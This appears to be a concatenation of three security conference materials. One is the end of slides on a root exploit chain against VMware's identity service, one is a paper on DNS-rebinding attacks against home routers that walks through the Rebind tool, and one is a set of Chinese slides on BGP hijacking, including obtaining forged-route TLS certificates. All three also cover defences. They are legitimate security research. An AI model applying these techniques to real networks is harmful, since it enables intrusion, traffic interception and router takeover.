gadget available Requires no outbound network access Can we do better? #BHUSA @BlackHatEvents Information Classification: General LicenseChecker constructor calls setState with a controlled string Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General setState calls MyBase64.decode and deserialize Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General deserialize calls deserialize_v2 Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General deserialize_v2 calls decrypt with a fixed key and then readObject Exploiting JDBC Injection #BHUSA @BlackHatEvents Information Classification: General Exploiting JDBC Injection Leveraging the PostgreSQL Driver for Deserialization of Untrusted Data Authentication Bypass Encrypted and Base64 encoded and then URL encoded twice #BHUSA @BlackHatEvents Information Classification: General CommonsBeanUtils1 gadget available Requires no outbound network access Yes, we can do better! #BHUSA @BlackHatEvents Information Classification: General #BHUSA @BlackHatEvents Information Classification: General Privilege Escalation We have RCE as the horizon user, but we want root access! First stop, sudoers #BHUSA @BlackHatEvents Information Classification: General This script will make an input file readable/writable by the owner! Privilege Escalation - publishCaCert.hzn #BHUSA @BlackHatEvents Information Classification: General To take ownership we can (ab)use the gatherConfig.hzn script. Just symlink debugConfig.txt and point it to a root owned file, done! Privilege Escalation - gatherConfig.hzn #BHUSA @BlackHatEvents Information Classification: General We can target a script inside of the sudoers with execute permission by horizon Privilege Escalation Exploitation Showing a root owned file #BHUSA @BlackHatEvents Information Classification: General We can target a script inside of the sudoers with execute permission by horizon Privilege Escalation Exploitation Showing horizon permissions #BHUSA @BlackHatEvents Information Classification: General We can target a script inside of the sudoers with execute permission by horizon Privilege Escalation Exploitation Gaining root access #BHUSA @BlackHatEvents Information Classification: General We can target a script inside of the sudoers with execute permission by horizon Privilege Escalation Exploitation Showing we can execute publishCaCert as root #BHUSA @BlackHatEvents Information Classification: General Hekate Demo #BHUSA @BlackHatEvents Information Classification: General Results: ✓ No outbound network access required ✓ Works on default installation ✓ Pre-authenticated against server/client side ✓ Achieves root access ✓ Worked against VMWare's cloud Hekate Conclusions & Takeaways #BHUSA @BlackHatEvents Information Classification: General For the defender/developer • Don't allow for your organization have a single point of failure • Don't deviate from the OAuth2 spec, you will make a mistake! • Disable the new built-in when implementing Freemarker For the attacker/pen-tester • Always check the implementation of protocols for mistakes • Look for ways to chain primitives together • Make giving up harder than giving in Conclusions #BHUSA @BlackHatEvents Information Classification: General 1. https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis- 1302a4542316 2. https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 3. https://media.defense.gov/2020/Dec/07/2002547071/-1/- 1/0/CSA_VMWARE%20ACCESS_U_OO_195076_20.PDF 4. https://download.oracle.com/otn-pub/jcp/jdbc-4_2-mrel2-spec/jdbc4.2-fr-spec.pdf 5. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/ 6. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ 7. https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/ 8. https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part- two/ 9. https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations References Thanks! Questions? @steventseeley [email protected]
pdf
Remote Attacks Against SOHO Routers 08 February, 2010 Craig Heffner Abstract This paper will describe how many consumer (SOHO) routers can be exploited via DNS re-binding to gain interactive access to the router's internal-facing Web based administrative interface. Unlike other DNS re-binding techniques, this attack does not require prior knowledge of the target router or the router's configuration settings such as make, model, IP address, host name, etc, and does not use any anti-DNS pinning techniques. Confirmed affected routers include those manufactured by Linksys, Belkin, ActionTec, Thompson, Asus and Dell, as well as those running third-party firmware such as OpenWRT, DD-WRT and PFSense. Existing Attacks and Their Limitations Many SOHO routers contain vulnerabilities that can allow an attacker to disrupt or intercept network traffic. These vulnerabilities include authentication bypass, cross-site scripting, information disclosure, denial of service, and perhaps the most pervasive vulnerability of them all, default logins [1, 2, 3]. However, these vulnerabilities all share one common trait: with very few exceptions they exist solely on the internal LAN, thus requiring an attacker to gain access to the LAN prior to exploiting a router's vulnerabilities. There are various existing attacks which may be employed by an external attacker to target a router's internal Web interface. These attacks are best delivered via an internal client's Web browser when that client browses to a Web page controlled by the attacker. Cross-Site Request Forgery (CSRF) is perhaps the easiest of these attacks and is well suited for exploiting authentication bypass vulnerabilities. However, it is restricted in several ways: 1. While it can be used to generate requests, it cannot be used to view the response. This is due to the browser's same-domain policy, and eliminates the possibility of using CSRF to exploit certain vulnerabilities, such as information disclosure vulnerabilities [4]. 2. It cannot be used to exploit default logins on routers that employ Basic HTTP authentication. While this used to be possible by specifying a specially crafted URL (such as http://user:[email protected]), modern versions of Firefox will display a pop-up warning to the end user, and Internet Explorer no longer recognizes such URLs as valid (see Appendix A). 3. It requires the attacker to pre-craft his attack to target specific routers. The attacker's exploit Web page must know or guess the router's internal IP or host name, as well as the router's make and/or model. Although there have been some efforts to produce JavaScript-based router identification code, it is experimental and generally does not work against routers that employ Basic HTTP authentication for reasons described in #2 above [5]. Due to the limitations of CSRF, DNS re-binding attacks are very attractive to a remote attacker, as they provide a means to circumvent the browser's same-domain policy and allow the attacker's code (typically JavaScript) to interact with the router's internal Web interface [6]. The object of a DNS re-binding attack is to get a user to load JavaScript from an attacker’s Web page and then re-bind the attacker’s domain name to the IP address of the user’s router. The attacker's JavaScript code can then make interactive XMLHttpRequests to the router by opening a connection to the attacker's domain name since that domain now resolves to the IP address of the victim's router. This connection is allowed by the browser's same-domain policy since the JavaScript is running in a Web page that originated from the attacker's domain. However, DNS re-binding attacks are well known and Web browsers have implemented various protections to help mitigate the threat of a DNS re-binding attack. Most notably, DNS pinning is implemented in all modern browsers. DNS pinning attempts to prevent DNS re-binding attacks by caching the first DNS lookup that the browser performs; without a second DNS lookup, the same IP address will always be used for a given domain name until the browser’s cache expires or the user exits the browser. For this reason anti-DNS pinning attacks have become increasingly popular. These attacks attempt to circumvent browser DNS caching and force the browser to perform a second DNS lookup, at which time the attacker's domain name gets re-bound to an IP address of the attacker's choosing. While DNS-rebinding attacks are possible, they have the noted disadvantage of time: such attacks take 15 seconds in Internet Explorer, and 120 seconds in Firefox [7]. Further, IE8 and Firefox 3.x browsers no longer appear to be vulnerable to these types of DNS re-binding attacks (see Appendix B). The Multiple A Record Attack An older method of DNS re-binding is the “multiple A record” attack as discussed in Stanford's Protecting Browsers From DNS Rebinding Attacks paper [8]. This attack is better known to DNS administrators as DNS load balancing. In this scenario, an attacker's DNS response contains two IP addresses: the IP address of the attacker's server followed by the IP address that the attacker wishes to re-bind his domain name to. The client's Web browser will attempt to connect to the IP addresses in the order in which they appear in the DNS response: 1. The client's browser connects to the first IP address in the DNS response, which is the IP address of the attacker's Web server, and retrieves the HTML file containing the attacker's JavaScript. 2. After the client request is completed, the attacker's Web server then creates a new firewall rule to block further connections from that client's IP address. 3. When the attacker's JavaScript initiates a request back to the attacker's domain via an XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However, since the client's IP is now blocked, the browser will receive a TCP reset packet from the attacker's Web server. 4. The browser will automatically attempt to use the second IP address listed in the DNS response, which is the IP address of the client’s router. The attacker's JavaScript can now send requests to the router as well as view the responses. One notable restriction to the multiple A-record attack is that it can not be used to target internal IP addresses, such as the internal IP address of a router. If a DNS response contains any non-routable IP addresses, the browser will attempt to connect to those addresses first, regardless of their order in the DNS response. This obviously breaks the exploit, as the attacker needs the client's browser to connect to his public Web server first and retrieve his malicious JavaScript. DNS Rebinding and the Weak End System Model But what happens if an attacker uses the multiple A-record attack to re-bind his domain to the router's public (WAN) IP address? While it may not be the intended or expected behavior, this attack will in fact succeed if the router’s TCP/IP stack implements the weak end system model [9]. While the weak end system model is certainly not unique to Linux, Linux is perhaps the most popular embedded OS that supports it, and thus it is provided as an example here. In the weak end system model, the TCP/IP stack will accept and process an incoming packet as long as the destination IP matches any of its local IP addresses. The IP address does not need to match the IP address of the interface on which the packet was received [10]. For example, consider a router with two interfaces, eth0 and eth1, where eth0 is assigned the class C IP address of 192.168.88.5 and eth1 is assigned the class C IP address of 192.168.1.100. These are clearly two separate IP address ranges on two physically distinct network interfaces: root@router:~# route -n Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 192.168.88.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 Now let us also assume that the router has a listening service running on port 8080 and bound exclusively to the eth1 interface (192.168.1.100): root@router:~# netstat -plnt Proto Local Address Foreign Address State PID/Program name tcp 192.168.1.100:8080 0.0.0.0:* LISTEN 22393/nc Notice what happens when a host on the eth0 network attempts to connect to the router’s eth1 IP address of 192.168.1.100: The connection succeeds, even though the IP address of the eth0 interface does not match the destination IP address in the client’s packets. At first glance this is not particularly interesting; after all, a router is supposed to route requests. Upon closer examination of the above Wireshark captures however, one will note that the request is not being routed at all, as evidenced by the lack of any traffic on the eth1 interface. Due to the weak end system model, the request is being accepted and processed entirely on the eth0 interface, as if the listening service were being run on the eth0 interface when in fact it is not. The router sees that the destination address matches one of its local addresses and simply accepts the connection. To understand how this can be exploited by an attacker, consider that most routers are quite simple in nature, and they often run their services on all interfaces rather than on just one particular interface: root@OpenWrt:/# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:80 *:* LISTEN tcp 0 0 *:53 *:* LISTEN tcp 0 0 *:22 *:* LISTEN tcp 0 0 *:23 *:* LISTEN Since these services are bound to all interfaces, iptables rules are applied to prevent inbound connections on the WAN interface. Below are the simplified iptables rules relevant to this discussion: -A INPUT –i eth1 –j DROP -A INPUT –j ACCEPT Any incoming traffic on the WAN interface (eth1) is dropped, while inbound traffic on the LAN interface(s) is allowed. Note that these rules are applied based on the inbound interface name, and do not specify the destination IP address. This is because the WAN IP is likely assigned via DHCP from an ISP and is subject to change at any time. However, as evidenced in the above Wireshark captures, when an internal user on eth0 connects to the external IP address on eth1 the network traffic never actually traverses the TCP/IP stack of the eth1 interface. The iptables rules put in place to block incoming traffic to a router’s WAN interface (eth1) will not prevent internal clients from connecting to services on the WAN interface because the traffic will never actually traverse the WAN interface. Armed with this information, an attacker can use the multiple A-record attack to re-bind his domain name to the router’s public IP and access the router’s Web interface via an internal client’s Web browser. Not only does this make the multiple A-record attack a viable DNS re-binding vector, but it also eliminates the need for the attacker to know or guess the target router’s internal IP address. A Practical Example In order to provide a practical demonstration of this attack, Rebind was created. Rebind is a tool that not only implements the DNS re-binding attack, but uses it to turn the client's Web browser into a real- time proxy through which the attacker can interact with the client's router as if the attacker were on the LAN himself. This is similar in concept to David Bryne's anti-DNS pinning presentation at BlackHat 2007 and eliminates the requirement for the attacker's JavaScript code to perform any interpretation or analysis of the client's router; it simply acts as a proxy between the attacker and the client's router [11]. Rebind integrates a DNS server, two Web servers and an HTTP proxy server into a single Linux binary. The only prerequisites for running Rebind are that: 1) The attacker must register a domain name 2) The attacker must register his attack box as a name server for his domain Both of these requirements can be fulfilled through almost any domain registrar [12]. In the following example scenario, the attacker's domain is attacker.com, and he has registered a DNS server named ns1.attacker.com. The ns1.attackercom entry points to the IP address of his attack box. The following depicts how Rebind works: 1. Example scenario. The attacker owns the domain name attacker.com and is running Rebind on his server located at 1.4.1.4. The victim’s public IP is 2.3.5.8: 2. The attacker goes to the registrar where he registered his domain name and registers 1.4.1.4 as a name server named ns1.attacker.com: 3. The attacker tells his registrar to use ns1.attacker.com as the primary DNS server for the attacker.com domain: 4. The victim attempts to browse to http://attacker.com/init, and subsequently the victim’s browser issues a DNS lookup for attacker.com: 5. Rebind receives the DNS request and responds with its own IP address: 6. The victim’s Web browser requests the /init page from attacker.com: 7. Rebind receives the HTTP request, logs the router’s public IP and redirects the victim's Web browser to a random sub-domain of devttys0.com; in this case, wacme.www.devttys0.com/exec: 8. This forces the victim's Web browser to perform a second DNS lookup for wacme.attacker.com: 9. Rebind receives the DNS request and responds with its own IP address, followed by the public IP address of the victim’s router which it logged in step #7: 10. The victim's Web browser requests the /exec page from wacme.attacker.com: 11. Rebind sends the client its JavaScript code and blocks further connection attempts from the victim to port 80 of the attack box: 12. The JavaScript code attempts an XMLHttpRequest to wacme.attacker.com: 13. Since Rebind has blocked the victim on port 80, the connection attempt is refused with a TCP reset packet: 14. The victim's browser automatically attempts to connect to the second IP address for wacme.attacker.com, which is the public IP address of the victim's router: 15. With the sub-domain of wacme.attacker.com now re-bound to the router's public IP address, the external attacker can send requests to the client's router via Rebind's HTTP proxy. Rebind queues these requests into a database and holds the connection to the attacker's Web browser open: 16. The JavaScript code begins loading dynamic JavaScript elements from Rebind. Since wacme.attacker.com is re-bound to the router’s public IP, the JavaScript elements are loaded from attacker.com. Port 81 is used since the victim is still blocked on port 80: 17. Rebind responds to the JavaScript callback requests with the HTTP request that the attacker made via Rebind's proxy: 18. The JavaScript then issues an XMLHttpRequest to wacme.attacker.com to retrieve the requested page from the client's router: 19. The response headers and text received from the router are then sent back to Rebind. If the browser supports cross-domain requests, they are used; if not, then an IFrame transport is used instead [13]: 20. When Rebind receives the response data from the victim’s browser, it relays it back to the attacker's browser: 21. The attacker is now browsing around in the victim’s router as if he were on the LAN himself: Impact Many routers are affected, but perhaps the most notable is the ActionTec MI424-WR. This router is distributed to all Verizon FIOS users, the vast majority of whom never bother to change the default login. As of 2009, Verizon FIOS claimed over 3 million Internet subscribers, providing an attacker with a very large number of potential targets from this one router alone [14]. Additionally, routers from many popular vendors such as Linksys, Thompson, Belkin, Dell, and Asus are known to be affected. The attack has also been successfully tested against routers running third party firmware from DD-WRT, OpenWRT and PFSense. The following table lists the routers that were tested against Rebind, and whether or not the Rebind attack was successful. Where known and applicable, the hardware and firmware versions of the routers have been included: Vendor Model H/W Version F/W Version Successful ActionTec MI424-WR Rev. C 4.0.16.1.56.0.10.11.6 YES ActionTec MI424-WR Rev. D 4.0.16.1.56.0.10.11.6 YES ActionTec GT704-WG N/A 3.20.3.3.5.0.9.2.9 YES ActionTec GT701-WG E 3.60.2.0.6.3 YES Asus WL-520gU N/A N/A YES Belkin F5D7230-4 2000 4.05.03 YES Belkin F5D7230-4 6000 N/A NO Belkin F5D8233-4v3 3000 3.01.10 NO Belkin F5D6231-4 01 2.00.002 NO D-Link DI-524 C1 3.23 NO D-Link DI-624 N/A 2.50DDM NO D-Link DIR-628 A2 1.22NA NO D-Link DIR-320 A1 1.00 NO D-Link DIR-655 A1 1.30EA NO DD-WRT N/A N/A v24 YES Dell TrueMobile 2300 N/A 5.1.1.6 YES Linksys BEFW11S4 1.0 1.37.2 YES Linksys BEFSR41 4.3 2.00.02 YES Linksys WRT54G3G-ST N/A N/A YES Linksys WRT54G2 N/A N/A NO Linksys WRT-160N 1.1 1.02.2 YES Linksys WRT-54GL N/A N/A YES Netgear WGR614 9 N/A NO Netgear WNR834B 2 2.1.13_2.1.13NA NO OpenWRT N/A N/A Kamikaze r16206 YES PFSense N/A N/A 1.2.3-RC3 YES Thomson ST585 6sl 6.2.2.29.2 YES Mitigations There are several fixes that can be employed by end users to mitigate this type of attack: 1. Add a firewall rule on the router to block network traffic on the internal interface that has a destination IP which matches the IP address assigned to the WAN interface. Note that this rule will have to be updated each time the IP address of the WAN interface changes. 2. Add a firewall or routing rule on each host machine in the network that blocks or improperly routes traffic destined for the router’s public IP address. Note that this rule must be applied to any and all current and future hosts on the internal network. 3. Ensure that services on the router are bound only to the LAN and/or WLAN interfaces. 4. Only run Web-based administration over HTTPS. 5. Don't use Web-based administration at all. If you do not have sufficient access to your router to perform the above mitigations, preventing this attack can be difficult. The best option is to disable JavaScript or limit from which sites you allow JavaScript to run. There are additional permanent fixes that can be made by firmware authors to prevent this attack: 1. Require a valid host header in all HTTP requests. The host header should always be the IP address of the router or the router’s host name, if it has one. 2. Only run services, especially the Web service, on the LAN / WLAN interfaces unless the user has enabled remote administration. 3. Implement the strong end system model in the router's TCP/IP stack. References [1] GNUCitizen Router Hacking Challenge [2] sla.ckers.org Full Disclosure Forum [3] Security Vulnerabilities in SOHO Routers [4] Same Origin Policy [5] JavaScript LAN Scanner [6] DNS Rebinding [7] Stealing Information Using Anti-DNS Pinning [8] Protecting Browsers From DNS Rebinding Attacks [9] RFC1122 - Requirements for Internet Hosts - Communication Layers [10] TCP/IP Illustrated Volume 2, p.218-219 [11] Intranet Invasion Through Anti-DNS Pinning [12] Host-Unlimited [13] Window.name Transport [14] Verizon FIOS – Wikipedia Appendix A Blocked CSRF Attempts Using Basic Authentication URLs I) Firefox confirmation warning II) Internet Explorer invalid URL warning Appendix B Anti-DNS Pinning Attack Failures Against FF 3.5 and IE8 I) Firefox 3.5 JavaScript exception error II) Internet Explorer 8 data retrieval failure
pdf
360企业安全(360威胁情报中心) BGP安全之殇 演讲人:张玉兵(Eric) 2 0 1 8 引言 BGPv4安全缺陷是全球互联网现存 最大最严重的安全漏洞 PART 01 关于BGP 目录 CONTENTS PART 02 5个经典BGP安 全事件 PART 03 关于BGP的那些 安全缺陷/漏洞 PART 04 检测 and 防御 01 02 03 04 05 PART 05 BGP,AT&T and NSA I’m the BGP protocol.At least so far,nothing is as irreplaceable as me, PART 01 关于BGP BGP(RFC 1771、RFC 4271): 相关重要概念 全称是Border Gateway Protocol, 对应中文是边界网关协议,最新版本是BGPv4。BGP是互联网上一个核心的互联网 去中心化自治路由协议。它的地位是核心的毫不夸张地说,是目前唯一连接海陆空和7大洲4大洋的外部路由协议。 BGP是最复杂的路由协议,属于应用层协议,其传输层使用TCP,默认端口号是179。因为是应用层协议,可以认 为它的连接是可靠的,并且不用考虑底层的工作,例如fragment,确认,重传等等。BGP是唯一使用TCP作为传输层的 路由协议,其他的路由协议可能都还到不了传输层。 AS(Autonomous system):自治系统,指在一个(有时是多个)组织管辖下的所有IP网络和路由器的全体,它们对互联网 执行共同的路由策略。也就是说,对于互联网来说,一个AS是一个独立的整体网络。每个AS有自己唯一的编号。通常 一个自治系统将会分配一个全局的唯一的16位号码,ASN范围:1-65535;1-64511属于公有ASN,而私有ASN:64512-65535。 AS PATH:路由每通过一个AS范围都会产生一个记录。(路由防环机制)。 EBGP:外部BGP协议(EBGP)的主要作用是向外部路由器或AS提供更多信息。 IBGP:内部BGP协议(IBGP)的主要作用是向AS内部路由器提供更多信息。 BGP的3张表 邻居表(adjancy table):保存所有的BGP邻居信息。 BGP表(forwarding database):保存从每一个邻居学到的路由信息。 路由表(routing table):BGP默认不做负载均衡,会从BGP表中选出一 条到达各个目标网络最优的路由,放入路由表保存。 路由器只需按路由表保存的路由条目转发数据即可。 路由表:show ip route BGP表:show ip bgp 邻居表:show ip bgp summary BGP最优路径选择 在默认情况下,到达同一目的地,BGP只走单条路径,并不希望在多 条路径之间执行负载均衡。 BGP 的每条路由都带有路径属性,对于通过比较路径属性来选择最 优路径,BGP 需要在多条路径之间按照一定的顺序比较属性,当多条 路由的同一属性完全相同时,需要继续比较顺序中的下一条属性。直 至选出最佳路由为止。 关于BGP路由器商业角色 出 于 经 济 利 益 的 考 虑 , AS 优 先 选 择 来 自 CustomerAS 的 路 由 , 其 次 是 PeerAS 及 ProviderAS。换句话说,大部分网络采用的路由策略规则如下: 1. 来自 CustomerAS 宣告的路由允许传递给Customer、Peer 和 Provider。 2. 来自 PeerAS 宣告的路由允许传递给Customer,不允许通告给其他的 Peer 和 Provider。 3. 来 自 ProviderAS 宣 告 的 路由 允 许 传 递 给 Customer , 不允 许 通 告 给 其 他 的 Peer 和 Provider。 如下表: There has never been a shortage of vivid BGP security incidents in history.Of course,we only selected five classic ones PART 02 5个经典BGP安全大事件 5个经典的BGP安全大事件 Northrop Grumman部分bgp网络被恶意利用(2003) 2003年5月,一群垃圾邮件黑客攻击了美国诺斯洛普·格鲁门公司申请但(Northrop Grumman,当时世界第三大军工生产厂商、世界上最大的雷达制造商和最大的海军船只制造 商)尚未使用的一段网络。并用来发送海量的垃圾邮件,以规避垃圾邮件过滤系统。最终, 这家军火承包商花费2个月来重新声明对这些IP地址的所有权,并在国际互联网上封堵这些流 氓路由广播。同时,由于被频繁地列入垃圾邮件地址黑名单,Northrop Grumman的IP地址全 部被禁止使用。 巴基斯坦电信致YouTube断网事件(2008) 2008年2月,巴基斯坦政府以视频网站YouTube有亵渎神明内容为理由命令网 络服务商封锁YouTube。巴基斯坦电信(Pakistan Telecom)试图限制本地用户接入 YouTube,通过BGP向香港电信盈科(PCCW)发送新的路由信息(有错误)。然 后PCCW向国际互联网广播了这个错误的路由信息。 当时,巴基斯坦电信在路由器上加了条static route把208.65.153.0/24弄到了 null0接口(黑洞路由);巴电信的工程师手抖把static route redistribute(Cisco路由 器上同步不同协议路由表的方法)到BGP了,也就是说把该路由器上的静态路由 表添加到BGP的路由表了,静态路由同步到其他路由表里的优先值最高。 BGP把这条路由向其他Peer AS的路由器同步了,最先中枪的是香港的电讯盈 科(PCCW),然后接着被逐渐同步到了全世界。这时互联网的大部分用户想上 Youtube的时候,数据包都丢到巴基斯坦某个路由器的null接口,结果当然是打 不开。 Hacking Team利用BGP Hijack协助意大利黑客团体的攻击行动(2015) 利用bgp hijack技术劫持目标网络链路数据,然后结合 Adobe flash 0day等技术手段向目标网络投递/植入RCS,完成 长期监控。 5个经典的BGP安全大事件 Google工程师配置错误致日本800万用户断网1小时(2017) Google工程师配置错误,意外劫持了NTT通信株式会社的流 量。(NTT是日本一家主要的ISP,其还支持OCN和KDDI两个小 型的ISP。在日本,NTT为767万家庭用户和48万家公司提供互 联网服务)。导致日本持续断网40分钟左右,这在日本引起不 小的恐慌。据日本当地媒体报道,日本总务省(Ministry of Internal Affairs and Communications)已经对此事展开调 查,并要求ISP提供详细报告。 Google发言人发表声明承认是他们的错误,发言人向朝日 新闻表示,Google对网络设置了错误信息导致问题发生,并 对带来的不便与恐慌致以歉意。断网事件发生后,Google方 面在8分钟之内更正了信息。 为什么日本会遭受如此严重的影响呢? 谷歌此次泄漏的16万条路由中,超过25,000条路由是属于NTT的 路由地址段,在受影响的全部网络,涉及NTT的路由数最多。实际 上,本次路由泄漏并不涉及KDDI的路由地址段。 但KDDI为何会遭 此灾难呢?因为KDDI是Verizon的互联网转接(IP Transit)客户, 也就是说,KDDI买了Verizon的互联网转接(IP Transit)服务。 KDDI从Verizon接受了超过95,000条泄漏的路由前缀。日本另一个 电信运营商IIJ也从Verizon接受了超过97,000条泄漏的路由前缀。 因此,从KDDI或IIJ到NTT 的任何互联网流量,都被先传送到谷歌 在芝加哥的数据中心。NTT、KDDI、Softbank BB和IIJ是日本前四 大互联网骨干网络,他们之间互联互通流量巨大。这次BGP路由事 故导致其中三大日本运营商之间的国内流量国际化,漂洋过海跨 越太平洋,经过日美之间众多国际海缆系统,流向谷歌的美国芝 加哥数据中心。这种情况下,纵使日美之间国际海缆带宽原本很 充足,也承载不了本来应该在日本国内的互联网洪荒之流,导致 日美互联网高速公路严重堵塞,互联网流量通达时间过长,从而 出现灾难性互联网数据丢包,导致日本互联网中断。 5个经典的BGP安全大事件 亚马逊遭BGP劫持致价值1730万美元ETH被盗(2018) 美国时间4月24号上午,亚马逊权威域名服务器遭到BGP路由 劫持攻击。攻击者的目的是利用DNS和BGP固有的安全弱点来盗取 加密货币。该劫持波及了澳洲、美国等地区。 本次事件中,用户对该网站的访问流量被全部劫持到一个俄 罗斯ISP提供的非法网站。MyEtherWallet 已发声明表示很多用 户成为本次攻击的受害者。 5个经典的BGP安全大事件 Security flaws or vulnerabilities regarding the BGP protocol. PART 03 关于BGP的那些安全缺陷/漏洞 BGP基本三原则 2、当目的网络确定时,AS_PATH最短路径具有路由优先权。 1、当BGP路由建立邻居连接后,彼此将路由条目发送给邻居。 3、当目的网络确定时,网络通告地址越具体(掩码越长)越有路由优先权。 BGP基本三原则 BGP hijack 关于BGP的那些安全缺陷/漏洞  闲置AS抢夺: 对外宣告不属于自己,但属于其他机构合法且未被宣告的网络。 AS1 是 网 络 1.1.1.1/18 和 1.1.2.2/18 的 所 有 者 , 但 其 目 前 只 使 用 了 1.1.1.1/18,故对外只宣告了1.1.1.1/18,而没有宣告1.1.2.2/18。如下图: AS5拥有网络5.5.5.5/16,他发现AS1没有对外宣告了1.1.2.2/18,而1.1.2.2/18 确实是存在且是合法的。AS5对外宣告了1.1.2.2/18导致所有前往1.1.2.2/18的所 有流量都发给了AS5。 如下图: 攻击前: 攻击后: 关于BGP的那些安全缺陷/漏洞 BGP hijack  近邻AS通告抢夺: 利用物理位置邻近特性,就近宣告不属于自己的网络劫持近邻网络链路。 攻击前: 攻击后: 关于BGP的那些安全缺陷/漏洞 BGP hijack  长掩码抢夺(吸虹效应)Special-Prefix hijack:利用BGP选路长掩码优先的特性劫持所有可达网段全流量。 攻击前: 攻击后: 关于BGP的那些安全缺陷/漏洞 BGP hijack  AS_PATH hijack (沙丁鱼捕术):利用AS_PATH prepend可任意修改的特点,通过增加AS_PATH穿越AS数量抑制其路由优先级,将数据流向赶向目标网络。达到控制网络流量的目的。 攻击前: 攻击后: 关于BGP的那些安全缺陷/漏洞 路由泄露(Route leak) BGP路由泄露: BGP路由条目在不同的角色都有其合理通告范围,一旦BGP路由通告传播 到其原本预期通告范围之外称之为路由泄露,而这会产生难以准确预料的结 果。 根据其发生泄漏后造成的结果大致可分为以下3种:  造成源网络中断。  造成源网络和被指向网络中断。  造成AS穿越/ISP穿越/MITM等问题。 在AS1发生路由泄露前,AS1、AS2、AS3、AS4、AS5都能正常通讯。如下图: 关于BGP的那些安全缺陷/漏洞 BGP TTL modify (饭后甜点) BGP TTL值支持自定义修改,故可在进行MITM(BGP 路由TTL值每经 过一跳值会减小1)攻击的同时制定策略,修改TTL值(增加对应跳数 消耗的TTL值)让其跳数看起来无异常。能达到一定的隐藏作用。 switch(config)# router bgp 1.1 switch(config-router)# neighbor 192.0.2.1 remote-as 1.2 switch(config-route-neighbor) ebgp-multihop 2 (1-255) EBGP运行在AS与AS之间的边界路由器上,默认情况下需要直连或使用静态路由。如果不是直连,必须指EBGP多条。 否则无法建立邻居关系。为解决此问题定义了ebgp-multihop属性来修正跳数(hop)问题。在ebgp建立邻居的时候 默认ttl值为1,如果不修改ebgp-multihop会导致非直连的ebgp邻居无法建立邻居关系(这也是一种ebgp的防环 措施)。其实质就是通过此属性来修改出站方向路由的TTL属性值。 关于BGP的那些安全缺陷/漏洞 Use BGP Break HTTPS 有了之前的BGP hijack,现在只需拿到合法TLS证书即可解密https流量。  通过TLS CA 为用户获得TLS证书的过程如下: 1、先在CA网页申请一个帐号 ; 2、认证登录请求CSR(certificate signing request)创建并载入,尽管 这很重要,一些CA甚至允许跳过这步直接从CA中取私钥; 3、CA提供了很多选择认证用户所有权,其中包含以下必备的3项: 查询whois记录 载入特定html在特定url通过认证 使用者在dns表中建立自定义token 4、当以上确认后,申请者付款。付款完成,CA发放TLS合法认证,然后我们 就能用这个TLS证书向你网页访问者证明身份合法性。(确实是合法的,全 球有效)  劫持CA(certificate authority)证书: 从以上过程我们可以看出,只要保证3中的3个条件验证通过,即可申请到合法的TLS 证书。如果我们选择了正确的CA,BGP劫持打断CA间的通话也不会被发现。 实现这样的攻击你需要的只有两个 1、一个可控制的边界路由 2、你的BGP结点的信息:它的客户,提供者,结点信息,公共服务类似Qrator Radar 或者 BGP监听。花一个小时确认这些基本信息,AS_PATH 追踪路线,等等。 然后: 使用BGP劫持技术将whios、URL认证server、DNS TXT、DNS token对应的地址指向自 己搭建的3类server: 查询whois记录 (明文传送可伪造) 载入特定html在特定url通过认证 (明文传送可伪造) 使用者在dns表中建立自定义token (明文传送可伪造) 然后接着进行第4步即可完成TLS证书申请。 通过以上方法可拿到合法的TLS签名 关于BGP的那些安全缺陷/漏洞 给我一个合适的“支点”,我能撬动地球 大约1/64512 的比例 How to detection and defense. PART 04 检测 & 防御 检测 & 防御 BGP Routes Moniting(检测篇)  使用traceroute命令查看TTL相关信息。 并与正常情况下进行比对。多数情况下可 通过TTL值增减和经过的AS路径来判断是 否存在劫持。 当未发生路由劫持时,如下图: 当发生路由劫持时,发现路由绕行了: AS40->AS30->AS10->100。 如下图: 检测 & 防御 BGP Routes Moniting(检测篇)  自建平台实时同步全球权威机构、组织的全量BGP路由表, 并与本地收集到的BGP进行比对。发现异常并实时告警。 如下图: 部分开源项目,如RouteViews:  选取合理的采集周期,在周期内对BGP正常状态下路 由更新条目的数量进行统计。选取合理的更新条目 总数阈值范围,实时监控AS内BGP路由条目更新数目, 发现异常实时告警。  使用商业化BGP路由监控告警平台 IAR (Internet Alert Registry) • PHAS (Prefix Hijack Alert System) • RIPE NCC MyASN Service • BGPmon • WatchMY.NET • Renesys Routing Intelligence 检测 & 防御 过滤和限制路由通告范围(防御篇)  梳理清楚AS范围内BGP、IGP全局路由策略哪些路由通告是允许的、哪些是禁止的。并合理使用ACL、Route-map或BGP Prefx Filtering控制路由的宣告、传播范围。  运营商、服务提供商应当依据以下原则,对不同商业角色路由器进行路由通告制定详细的BGP Prefx Filtering并启用。 如下图: 检测 & 防御 算法模型(检测篇---外部引用) 域间路由的中间人攻击模型 域间路由的中间人攻击通常基于前缀劫持来实现。前缀劫持宣 告伪造的路由以劫持通往受害网络的流量。典型的前缀劫持如图所 示。AS6向外非法宣告属于AS1的前缀10.1.16.1/22,使得AS4和AS5 被该伪造路由污染。进而,它们到达受害网络AS1的流量也将被劫 持到AS6中。如下图示: AS1是网络10.1.16.1/22的真实所有者,我们标示为:f AS5为起始网络/受污染网络,我们标示为:Y AS6为起始攻击者网络,我们标示为:X 在攻击发起前从Y到f的AS_PATH为:AS2 AS1。 在攻击发生后,从Y到f的AS_PATH为:AS6 AS2 AS1。如下图: 检测 & 防御 域间路由中间人攻击的异常特征 